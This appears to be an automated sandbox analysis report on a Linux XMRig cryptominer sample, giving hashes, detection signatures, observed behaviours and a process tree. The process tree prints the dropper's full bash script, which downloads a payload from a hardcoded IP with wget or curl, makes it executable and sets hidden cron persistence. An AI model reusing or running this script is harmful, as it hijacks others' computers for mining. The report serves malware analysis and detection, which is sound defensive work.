Analysis
-
max time kernel
149s -
max time network
151s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system -
submitted
08-12-2024 03:26
Static task
static1
Behavioral task
behavioral1
Sample
.main.elf
Resource
ubuntu2204-amd64-20240611-en
General
-
Target
.main.elf
-
Size
917KB
-
MD5
b61721fc2ff9db4230c2233b6b03d836
-
SHA1
612bc99ec51fc3fe97bd14a18800ccc268ab0399
-
SHA256
f6371d8b3bcc784017d4fbb544550873281cdc4aa4167ffac91526126d3b4e01
-
SHA512
36cc381527734cb0fefdebffa8c6a9015352ed6f51f77a097614f5f86e6e026b1122a1d8ce3f88e5305ba5c56c03409e2129845c245f1c8abbc850784b118d3c
-
SSDEEP
12288:0Dy10BDiAd3kxXePkui3hp4PI/Z7QrMe8cNyyUbRkoXd:0Dy10Dd3kxXakuiRp4gB7QjAk6
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/fstream-1.dat family_xmrig behavioral1/files/fstream-1.dat xmrig -
Xmrig family
-
Xmrig_linux family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1596 bash 1623 chmod 1625 chmod -
Executes dropped EXE 55 IoCs
ioc pid Process /var/tmp/.rcu_gp/diicot 1636 diicot /var/tmp/.rcu_gp/.report_system 1638 .report_system /var/tmp/.rcu_gp/diicot 1650 diicot /var/tmp/.rcu_gp/diicot 1656 diicot /var/tmp/.rcu_gp/diicot 1662 diicot /var/tmp/.rcu_gp/diicot 1668 diicot /var/tmp/.rcu_gp/diicot 1674 diicot /var/tmp/.rcu_gp/diicot 1680 diicot /var/tmp/.rcu_gp/diicot 1686 diicot /var/tmp/.rcu_gp/diicot 1694 diicot /var/tmp/.rcu_gp/diicot 1700 diicot /var/tmp/.rcu_gp/diicot 1706 diicot /var/tmp/.rcu_gp/diicot 1712 diicot /var/tmp/.rcu_gp/diicot 1718 diicot /var/tmp/.rcu_gp/diicot 1724 diicot /var/tmp/.rcu_gp/diicot 1730 diicot /var/tmp/.rcu_gp/diicot 1736 diicot /var/tmp/.rcu_gp/diicot 1742 diicot /var/tmp/.rcu_gp/diicot 1748 diicot /var/tmp/.rcu_gp/diicot 1754 diicot /var/tmp/.rcu_gp/diicot 1760 diicot /var/tmp/.rcu_gp/diicot 1766 diicot /var/tmp/.rcu_gp/diicot 1772 diicot /var/tmp/.rcu_gp/diicot 1778 diicot /var/tmp/.rcu_gp/diicot 1784 diicot /var/tmp/.rcu_gp/diicot 1790 diicot /var/tmp/.rcu_gp/diicot 1796 diicot /var/tmp/.rcu_gp/diicot 1802 diicot /var/tmp/.rcu_gp/diicot 1808 diicot /var/tmp/.rcu_gp/diicot 1814 diicot /var/tmp/.rcu_gp/diicot 1820 diicot /var/tmp/.rcu_gp/diicot 1826 diicot /var/tmp/.rcu_gp/diicot 1832 diicot /var/tmp/.rcu_gp/diicot 1838 diicot /var/tmp/.rcu_gp/diicot 1844 diicot /var/tmp/.rcu_gp/diicot 1850 diicot /var/tmp/.rcu_gp/diicot 1856 diicot /var/tmp/.rcu_gp/diicot 1862 diicot /var/tmp/.rcu_gp/diicot 1868 diicot /var/tmp/.rcu_gp/diicot 1874 diicot /var/tmp/.rcu_gp/diicot 1880 diicot /var/tmp/.rcu_gp/diicot 1886 diicot /var/tmp/.rcu_gp/diicot 1892 diicot /var/tmp/.rcu_gp/diicot 1898 diicot /var/tmp/.rcu_gp/diicot 1907 diicot /var/tmp/.rcu_gp/diicot 1913 diicot /var/tmp/.rcu_gp/diicot 1919 diicot /var/tmp/.rcu_gp/diicot 1925 diicot /var/tmp/.rcu_gp/diicot 1931 diicot /var/tmp/.rcu_gp/diicot 1937 diicot /var/tmp/.rcu_gp/diicot 1943 diicot /var/tmp/.rcu_gp/diicot 1949 diicot /var/tmp/.rcu_gp/diicot 1955 diicot /var/tmp/.rcu_gp/diicot 1961 diicot /var/tmp/.rcu_gp/diicot 1967 diicot -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/sys_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/product_name .report_system File opened for reading /sys/devices/virtual/dmi/id/board_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_vendor .report_system -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.z8sX6x crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/board_version .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_type .report_system File opened for reading /sys/devices/virtual/dmi/id/board_name .report_system File opened for reading /sys/devices/virtual/dmi/id/board_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_version .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag .report_system File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_version .report_system File opened for reading /sys/devices/virtual/dmi/id/product_version .report_system File opened for reading /sys/devices/virtual/dmi/id/product_serial .report_system File opened for reading /sys/devices/virtual/dmi/id/product_uuid .report_system File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor .report_system File opened for reading /sys/devices/virtual/dmi/id/bios_date .report_system -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo .report_system -
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/core_cpus .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition .report_system File opened for reading /sys/devices/system/cpu/possible .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size .report_system File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id .report_system File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep -
Enumerates kernel/hardware configuration 1 TTPs 26 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/system/node/node0/cpumap .report_system File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages .report_system File opened for reading /sys/bus/dax/devices .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency .report_system File opened for reading /sys/firmware/dmi/tables/smbios_entry_point .report_system File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages .report_system File opened for reading /sys/bus/soc/devices .report_system File opened for reading /sys/devices/system/cpu .report_system File opened for reading /sys/devices/cpu_atom/cpus .report_system File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages .report_system File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node/node0/hugepages .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth .report_system File opened for reading /sys/fs/cgroup/cpuset.cpus.effective .report_system File opened for reading /sys/devices/cpu_core/cpus .report_system File opened for reading /sys/devices/system/node/online .report_system File opened for reading /sys/devices/system/node/node0/meminfo .report_system File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-1048576kB/nr_hugepages .report_system File opened for reading /sys/devices/system/node/node0/access1/initiators .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators .report_system File opened for reading /sys/firmware/dmi/tables/DMI .report_system File opened for reading /sys/fs/cgroup/cpuset.mems.effective .report_system File opened for reading /sys/kernel/mm/hugepages .report_system File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency .report_system File opened for reading /sys/devices/virtual/dmi/id .report_system -
description ioc Process File opened for reading /proc/92/cmdline pgrep File opened for reading /proc/1317/status pgrep File opened for reading /proc/1184/status pgrep File opened for reading /proc/583/cmdline pgrep File opened for reading /proc/410/status pgrep File opened for reading /proc/1184/status pgrep File opened for reading /proc/1637/cmdline pgrep File opened for reading /proc/80/status pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/18/cmdline pgrep File opened for reading /proc/215/status pgrep File opened for reading /proc/1143/status pgrep File opened for reading /proc/757/cmdline pgrep File opened for reading /proc/225/status pgrep File opened for reading /proc/1596/status pgrep File opened for reading /proc/217/cmdline pgrep File opened for reading /proc/1181/status pgrep File opened for reading /proc/669/cmdline pgrep File opened for reading /proc/1046/status pgrep File opened for reading /proc/25/status pgrep File opened for reading /proc/631/status pgrep File opened for reading /proc/218/cmdline pgrep File opened for reading /proc/1299/status pgrep File opened for reading /proc/585/status pgrep File opened for reading /proc/499/cmdline pgrep File opened for reading /proc/222/status pgrep File opened for reading /proc/1419/cmdline pgrep File opened for reading /proc/25/cmdline pgrep File opened for reading /proc/5/cmdline pgrep File opened for reading /proc/1582/cmdline pgrep File opened for reading /proc/259/cmdline pgrep File opened for reading /proc/583/status pgrep File opened for reading /proc/629/status pgrep File opened for reading /proc/1075/status pgrep File opened for reading /proc/1193/cmdline pgrep File opened for reading /proc/25/cmdline pgrep File opened for reading /proc/1326/cmdline pgrep File opened for reading /proc/1294/status pgrep File opened for reading /proc/209/cmdline pgrep File opened for reading /proc/1090/cmdline pgrep File opened for reading /proc/836/cmdline pgrep File opened for reading /proc/1302/cmdline pgrep File opened for reading /proc/1085/cmdline pgrep File opened for reading /proc/409/cmdline pgrep File opened for reading /proc/222/cmdline pgrep File opened for reading /proc/583/status pgrep File opened for reading /proc/836/status pgrep File opened for reading /proc/24/cmdline pgrep File opened for reading /proc/590/cmdline pgrep File opened for reading /proc/73/status pgrep File opened for reading /proc/101/cmdline pgrep File opened for reading /proc/1181/cmdline pgrep File opened for reading /proc/14/cmdline pgrep File opened for reading /proc/632/cmdline pgrep File opened for reading /proc/218/status pgrep File opened for reading /proc/1408/cmdline pgrep File opened for reading /proc/1294/cmdline pgrep File opened for reading /proc/10/status pgrep File opened for reading /proc/94/cmdline pgrep File opened for reading /proc/223/cmdline pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/11/cmdline pgrep File opened for reading /proc/1326/status pgrep File opened for reading /proc/88/status pgrep
Processes
-
/tmp/.main.elf/tmp/.main.elf1⤵PID:1596
-
/bin/bash/tmp/.main.elf -c "exec '/tmp/.main.elf' \"\$@\"" /tmp/.main.elf1⤵PID:1596
-
/tmp/.main.elf/tmp/.main.elf1⤵PID:1596
-
/bin/bash/tmp/.main.elf -c " #!/bin/bash RCU_GP_DIR=\"/var/tmp/.rcu_gp\" REPORT_SYSTEM_URL=\"http://66.63.187.200/.puscarie/.report_system\" DIICOT_FILE=\"diicot\" setup_report_system() { if [ ! -d \"\$RCU_GP_DIR\" ]; then mkdir \"\$RCU_GP_DIR\" fi cd \"\$RCU_GP_DIR\" || exit if command -v wget &> /dev/null; then wget \"\$REPORT_SYSTEM_URL\" -O .report_system elif command -v curl &> /dev/null; then curl -o .report_system \"\$REPORT_SYSTEM_URL\" else echo \"Nu s-a gasit nici wget, nici curl\" exit 1 fi chmod +x .report_system cd - || exit } create_diicot_file() { DIICOT_PATH=\"\$RCU_GP_DIR/\$DIICOT_FILE\" cat <<EOL > \"\$DIICOT_PATH\" #!/bin/bash if ! pgrep -x .report_system >/dev/null; then /var/tmp/.rcu_gp/./.report_system > /dev/null 2>&1 & disown \$* else : fi EOL chmod +x \"\$DIICOT_PATH\" } setup_cron_jobs() { locatie=\"\$RCU_GP_DIR\" locatie2=\"\$PWD\" if [ ! -f \"\$locatie/.ps4\" ]; then echo \"\$locatie\" > \"\$locatie/.ps4\" fi if ! crontab -l | grep -q '.main'; then rm -rf \"\$locatie/.ps5\" echo \"@daily \$locatie/\$DIICOT_FILE\" >> \"\$locatie/.ps5\" sleep 1 echo \"@reboot \$locatie2/.main > /dev/null 2>&1 & disown\" >> \"\$locatie/.ps5\" sleep 1 echo \"@monthly \$locatie2/.main > /dev/null 2>&1 & disown\" >> \"\$locatie/.ps5\" sleep 1 crontab \"\$locatie/.ps5\" sleep 1 rm -rf \"\$locatie/.ps5\" fi } setup_report_system create_diicot_file setup_cron_jobs while : do \$(cat /var/tmp/.rcu_gp/.ps4)/diicot setup_cron_jobs sleep 2.5 done echo \"Merge bn mineru serifule\" " /tmp/.main.elf1⤵
- File and Directory Permissions Modification
PID:1596 -
/usr/bin/mkdirmkdir /var/tmp/.rcu_gp2⤵PID:1597
-
-
/usr/bin/wgetwget http://66.63.187.200/.puscarie/.report_system -O .report_system2⤵PID:1598
-
-
/usr/bin/chmodchmod +x .report_system2⤵
- File and Directory Permissions Modification
PID:1623
-
-
/usr/bin/catcat2⤵PID:1624
-
-
/usr/bin/chmodchmod +x /var/tmp/.rcu_gp/diicot2⤵
- File and Directory Permissions Modification
PID:1625
-
-
/usr/bin/grepgrep -q .main2⤵PID:1627
-
-
/usr/bin/crontabcrontab -l2⤵PID:1626
-
-
/usr/bin/rmrm -rf /var/tmp/.rcu_gp/.ps52⤵PID:1628
-
-
/usr/bin/sleepsleep 12⤵PID:1629
-
-
/usr/bin/sleepsleep 12⤵PID:1630
-
-
/usr/bin/sleepsleep 12⤵PID:1631
-
-
/usr/bin/crontabcrontab /var/tmp/.rcu_gp/.ps52⤵
- Creates/modifies Cron job
PID:1632
-
-
/usr/bin/sleepsleep 12⤵PID:1633
-
-
/usr/bin/rmrm -rf /var/tmp/.rcu_gp/.ps52⤵PID:1634
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1635
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1636 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1637
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1639
-
-
/usr/bin/grepgrep -q .main2⤵PID:1640
-
-
/usr/bin/sleepsleep 2.52⤵PID:1641
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1649
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1650 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1651
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1652
-
-
/usr/bin/grepgrep -q .main2⤵PID:1653
-
-
/usr/bin/sleepsleep 2.52⤵PID:1654
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1655
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1656 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1657
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1658
-
-
/usr/bin/grepgrep -q .main2⤵PID:1659
-
-
/usr/bin/sleepsleep 2.52⤵PID:1660
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1661
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1662 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1663
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1665
-
-
/usr/bin/crontabcrontab -l2⤵PID:1664
-
-
/usr/bin/sleepsleep 2.52⤵PID:1666
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1667
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1668 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1669
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1671
-
-
/usr/bin/crontabcrontab -l2⤵PID:1670
-
-
/usr/bin/sleepsleep 2.52⤵PID:1672
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1673
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1674 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1675
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1677
-
-
/usr/bin/crontabcrontab -l2⤵PID:1676
-
-
/usr/bin/sleepsleep 2.52⤵PID:1678
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1679
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1680 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1681
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1683
-
-
/usr/bin/crontabcrontab -l2⤵PID:1682
-
-
/usr/bin/sleepsleep 2.52⤵PID:1684
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1685
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1686 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1687
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1688
-
-
/usr/bin/grepgrep -q .main2⤵PID:1689
-
-
/usr/bin/sleepsleep 2.52⤵PID:1690
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1693
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1694 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1695
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1697
-
-
/usr/bin/crontabcrontab -l2⤵PID:1696
-
-
/usr/bin/sleepsleep 2.52⤵PID:1698
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1699
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1700 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1701
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1703
-
-
/usr/bin/crontabcrontab -l2⤵PID:1702
-
-
/usr/bin/sleepsleep 2.52⤵PID:1704
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1705
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1706 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1707
-
-
-
/usr/bin/crontabcrontab -l2⤵PID:1708
-
-
/usr/bin/grepgrep -q .main2⤵PID:1709
-
-
/usr/bin/sleepsleep 2.52⤵PID:1710
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1711
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1712 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1713
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1715
-
-
/usr/bin/crontabcrontab -l2⤵PID:1714
-
-
/usr/bin/sleepsleep 2.52⤵PID:1716
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1717
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1718 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1719
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1721
-
-
/usr/bin/crontabcrontab -l2⤵PID:1720
-
-
/usr/bin/sleepsleep 2.52⤵PID:1722
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1723
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1724 -
/usr/bin/pgreppgrep -x .report_system3⤵PID:1725
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1727
-
-
/usr/bin/crontabcrontab -l2⤵PID:1726
-
-
/usr/bin/sleepsleep 2.52⤵PID:1728
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1729
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1730 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1731
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1733
-
-
/usr/bin/crontabcrontab -l2⤵PID:1732
-
-
/usr/bin/sleepsleep 2.52⤵PID:1734
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1735
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1736 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1737
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1739
-
-
/usr/bin/crontabcrontab -l2⤵PID:1738
-
-
/usr/bin/sleepsleep 2.52⤵PID:1740
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1741
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1742 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1743
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1745
-
-
/usr/bin/crontabcrontab -l2⤵PID:1744
-
-
/usr/bin/sleepsleep 2.52⤵PID:1746
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1747
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1748 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1749
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1751
-
-
/usr/bin/crontabcrontab -l2⤵PID:1750
-
-
/usr/bin/sleepsleep 2.52⤵PID:1752
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1753
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1754 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1755
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1757
-
-
/usr/bin/crontabcrontab -l2⤵PID:1756
-
-
/usr/bin/sleepsleep 2.52⤵PID:1758
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1759
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1760 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1761
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1763
-
-
/usr/bin/crontabcrontab -l2⤵PID:1762
-
-
/usr/bin/sleepsleep 2.52⤵PID:1764
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1765
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1766 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1767
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1769
-
-
/usr/bin/crontabcrontab -l2⤵PID:1768
-
-
/usr/bin/sleepsleep 2.52⤵PID:1770
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1771
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1772 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads runtime system information
PID:1773
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1775
-
-
/usr/bin/crontabcrontab -l2⤵PID:1774
-
-
/usr/bin/sleepsleep 2.52⤵PID:1776
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1777
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1778 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1779
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1781
-
-
/usr/bin/crontabcrontab -l2⤵PID:1780
-
-
/usr/bin/sleepsleep 2.52⤵PID:1782
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1783
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1784 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1785
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1787
-
-
/usr/bin/crontabcrontab -l2⤵PID:1786
-
-
/usr/bin/sleepsleep 2.52⤵PID:1788
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1789
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1790 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
PID:1791
-
-
-
/usr/bin/grepgrep -q .main2⤵PID:1793
-
-
/usr/bin/crontabcrontab -l2⤵PID:1792
-
-
/usr/bin/sleepsleep 2.52⤵PID:1794
-
-
/usr/bin/catcat /var/tmp/.rcu_gp/.ps42⤵PID:1795
-
-
/var/tmp/.rcu_gp/diicot/var/tmp/.rcu_gp/diicot2⤵
- Executes dropped EXE
PID:1796 -
/usr/bin/pgreppgrep -x .report_system3⤵
- Reads CPU attributes
- Reads runtime system information
PID:1797
-
-
-
